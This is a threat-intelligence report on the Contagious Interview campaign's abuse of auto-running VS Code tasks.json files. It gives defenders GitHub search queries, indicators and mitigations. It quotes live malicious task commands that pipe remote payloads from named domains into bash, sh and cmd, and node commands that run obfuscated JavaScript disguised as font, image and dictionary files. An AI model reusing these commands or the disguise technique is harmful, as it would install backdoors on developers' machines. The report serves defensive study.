# Contagious Interview: Tracking the VS Code Tasks Infection Vector

Written by:  
Abstract Security Threat Research Organization (ASTRO)  
Published on:  
Jan 20, 2026

## Executive Summary

The DPRK-attributed [Contagious Interview](https://attack.mitre.org/groups/G1052/) campaign continues to target software developers through fake recruitment schemes disguised as technical assessments and code reviews of projects hosted on platforms like GitHub. A relatively new technique in the campaign's arsenal leverages Microsoft Visual Studio Code task files (located at `.vscode/tasks.json`) to achieve malicious code execution upon project open. This report documents our observations tracking this vector, presents GitHub-based discovery methods, highlights unique findings including a newly published malicious Node Package Manager (NPM) package, and outlines detection opportunities for defenders.

## Background

Recent reporting from the security community has documented the campaign's adoption of VS Code task files as an infection vector, ultimately leading to deployment of the [BeaverTail](https://attack.mitre.org/software/S1246/) downloader and [InvisibleFerret](https://attack.mitre.org/software/S1245/) backdoor:

- [Open Source Malware](https://opensourcemalware.com/blog/contagious-interview-vscode) documented various types of repos containing malicious tasks files, associated "code puppets", and a marked reliance on Vercel domains for payload hosting.
- [Red Asgard](https://redasgard.com/blog/hunting-lazarus-contagious-interview-c2-infrastructure) published detailed C2 infrastructure analysis and some interesting results from probing the infrastructure.
- [Security Alliance (SEAL)](https://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/) provided a comprehensive breakdown of the attack's malware infection chain.

Earlier work from [NVISO](https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/) documented the campaign's use of legitimate JSON storage services for payload staging, a technique that remains in active use alongside the VS Code tasks vector.  
This report builds on that foundation with additional observations from our tracking efforts.

## The VS Code Tasks Vector

### How It Works

Visual Studio Code's Task feature allows developers to automate workflows and run tools without manual interaction. Tasks are configured in the `.vscode/tasks.json` file for a workspace. The most important facilitator for this attack vector is the configuration's `runOptions` property, which supports a `runOn` value of `folderOpen`, causing the defined task to execute automatically when a workspace is opened. This is intended to streamline developer workflows like starting build watchers, linters, or development servers when a project opens.

Contagious Interview actors exploit this by including malicious shell commands in tasks.json files. When a victim clones a repository to their local machine and opens it in VS Code, the malicious task executes and kicks off the infection chain leading to malware installation. Furthermore, the `presentation` property among others in `tasks.json` can be configured to hide the shell activity entirely, leaving the victim unaware that anything executed at all.

This image breaks down the tasks configuration properties quite well (ref. [pcaversaccio](https://x.com/pcaversaccio/status/2009931485202055168)):

### A Tiny, Tiny Silver Lining...

One might be somewhat relieved to know that **tasks execution requires the victim to trust the workspace when prompted**. However, this trust prompt is a _single click_ away from compromise, and social engineering ("please follow the setup instructions exactly") is often sufficient to convince targets in the context of a job interview. Notably, once a workspace is trusted the user is never prompted again, establishing persistence for malware installation on subsequent project opens.

### ...Demolished by Reality

Additionally, a project doesn't necessarily have to start off with malicious tasks embedded; subsequent pulls containing newly added malicious tasks will execute without re-prompting. An attacker who controls or gains commit access to a previously trusted repository could push malicious changes that execute silently the next time a collaborator opens the project. This extends the threat model beyond cloning unfamiliar repositories to include ongoing collaboration with compromised projects.

### Continuity with Existing Techniques

While the tasks.json vector is a newer addition to the campaign's toolkit and a marked move away from reliance on ClickFix for initial infection, it integrates with previously documented Contagious Interview techniques:

- Obfuscated JavaScript payloads executed via Node.js
- Payloads masquerading as non-JavaScript files (fonts, images, configuration files)
- Hosting payload servers on web application platforms (Vercel, Render)
- Staging on JSON storage sites (JSON Keeper, JSON Silo, and npoint.io)
- Malicious NPM package dependencies

The tasks.json file serves as the trigger mechanism, while downstream payload delivery mirrors patterns documented by the research community over the past year.

The earliest public POC of this VS Code backdoor technique appears in this [VS Code-Backdoor](https://github.com/SaadAhla/VSCode-Backdoor) repository from researcher SaadAhla.

## Tracking Activity with GitHub Code Search

GitHub Code search provides an effective mechanism for identifying repositories using this technique. We developed several queries to surface malicious tasks.json files and track campaign activity.

### Finding Tasks.json with Downloaders

This query identifies repositories containing tasks.json files with commands directly running `curl` or `wget` to fetch and immediately execute payloads.

path:tasks.json runOn folderOpen (curl OR wget) (cmd OR "\| sh")

Most tasks cover both Windows and Unix-like platforms. Here are some command samples:

"osx": {
      "command": "curl 'https://www.regioncheck.xyz/settings/mac?flag=8' \| bash && nohup node .vscode/spellright.dict > /dev/null 2>&1 &"
    }
    
    "linux": {
      "command": "wget -qO- 'https://vscode-toolkit-bootstrap.vercel.app/settings/linux?flag=306' \| sh"
    }
    
    "windows": {
      "command": "curl --ssl-no-revoke -L https://vscodesettingstask.vercel.app/api/settings/windows \| cmd"
    }

This surfaces new repositories from known personas (puppet GitHub user accounts associated with Contagious Interview activity), identifies new personas using similar techniques, and reveals variations in implementation. However, it does not capture everything. Some tasks.json commands execute payloads stored elsewhere in the repository or trigger infections through malicious package installations rather than direct downloads.

### An Amusing Evasion Technique

While reviewing search results, we noticed several tasks.json files' commands appeared empty at first glance, but a horizontal scroll bar hinted at content extending beyond the visible window.

This example is present in [https://github.com/dmbruno/card-activity](https://github.com/dmbruno/card-activity/blob/559b02dbebad134b380cf1e85da1036d0971c41f/.vscode/tasks.json#L105), one of a few repos we observe using this trick updated within the last month.

### Finding Infrastructure Beyond Vercel

Existing reporting often highlights Vercel domain abuse, and for good reason as it's a consistent pattern in this campaign evolution. However, we observe that non-Vercel domains are also used, revealed by excluding "vercel" from our search:

path:tasks.json runOn folderOpen (curl OR wget) (cmd OR "\| sh") NOT vercel

This query finds malicious tasks.json files not using Vercel domains, surfacing outliers. Note that this can include false positive results and should be reviewed.

The search revealed the following additional payload hosting domains, all of which appear in recently created or updated repositories as of the time of this analysis.

- www[.]vscodeconfig[.]com
- www[.]regioncheck[.]xyz
- vscode-load[.]onrender[.]com

## Payload Masquerading in Image, Font, and Text Files

### Fake Spellcheck

One tasks file using regioncheck[.]xyz within repo ta3pks/Decentralized-Social shows a case of Node executing a `.vscode/spellright.dict` file:

"osx": {
          "command": "curl 'https://www.regioncheck.xyz/settings/mac?flag=8' \| bash && nohup node .vscode/spellright.dict > /dev/null 2>&1 &"
        },
        
        "linux": {
          "command": "wget -qO- 'https://www.regioncheck.xyz/settings/linux?flag=8' \| sh"
        },
        
        "windows": {
          "command": "curl https://www.regioncheck.xyz/settings/windows?flag=8 \| cmd && node .vscode/spellright.dict"
        }

The spellright.dict file appears to be a dictionary for the Spell Right VS Code extension. Spoiler, it's obfuscated JavaScript. Node.js doesn't care about file extensions. It will execute JavaScript from a .dict file without complaint.

### Hunting for Tasks Executing Image and Font Files

This GitHub Code search surfaces tasks.json commands using node to execute JavaScript hidden in image and font files (add extensions as needed, or look for `NOT .js`to catch more variations). Again, mind the false positives in the results.

path:tasks.json runOn folderOpen node (.woff OR .svg OR .jpeg OR .png)

Some examples from the results:

"command": "node webfonts/fa-brands-regular.woff2"
    
    "windows": {
      "command": "node src/assets/card4.jpeg",
    },
    
    "osx": {
      "command": "nohup node src/assets/card4.jpeg > /dev/null 2>&1 &"
    }
    
    "windows": {
      "command": "node src/images/logo-red.svg"
    },
    
    "osx": {
      "command": "nohup node src/images/logo-red.svg > /dev/null 2>&1 &"
    }

These all contain obfuscated JavaScript, such as in this webfonts/fa-brands-regular.woff2.

### A Shared Pattern Leads to More Variants

We noticed that these tasks.json files often contained "label": "eslint-check". Using that label in this search returned the same results along with new variants.

path:tasks.json runOn folderOpen "eslint-check"

## Malicious NPM Package Installation Variant

One repository presenting itself as a "Food Ordering Web App Technical Assessment (MERN Stack)" takes a different approach. Rather than executing payloads directly from tasks.json, it triggers NPM installation of a malicious package dependency.

The [tasks.json](https://github.com/Harshavardhan-28/sequence-web-assessment/blob/main/.vscode/tasks.json) makes use of `args` like so to run npm install and start a backend server.

The backend/package.json includes:

The package "jsonwebauth" sounds plausible, but code in backend/server.js reveals an inconsistency. The `jsonwebauth` package is imported as `dotenv` and used as Express middleware. Neither makes sense for a supposed JWT library and raises suspicion.

## Finding Activity Through Commit Authors

Many of the personas that own malicious repositories or have committed to them can be leveraged to map out undiscovered repositories. However, their commit histories are often extensive and not always for files of interest like `tasks.json`.

We found that searching for commits from git commit authors who have no linked GitHub account tends to yield less noisy results. In these examples, we search for commit author emails associated with personas that have made commits to tasks.json files in other malicious repositories. These return highly relevant results.

## Mitigations

**Disable automatic task execution.** Set `task.allowAutomaticTasks` to `off` in VS Code user settings. This prevents tasks with `runOn: folderOpen` from executing without explicit user action.

**Use GitHub's web editor for initial review.** Pressing the "." key on any GitHub repository opens a browser-based VS Code environment at `github.dev`. This environment has no shell capability, allowing safe inspection of repository contents including `.vscode/tasks.json` files.

**Avoid opening unfamiliar repositories in VS Code Desktop.** Repositories received as part of job interviews or technical assessments carry elevated risk. If you must open such repositories in VS Code Desktop, check first in-browser for a `.vscode/tasks.json` file set to execute commands automatically on folder open, and do not trust the workspace when prompted.
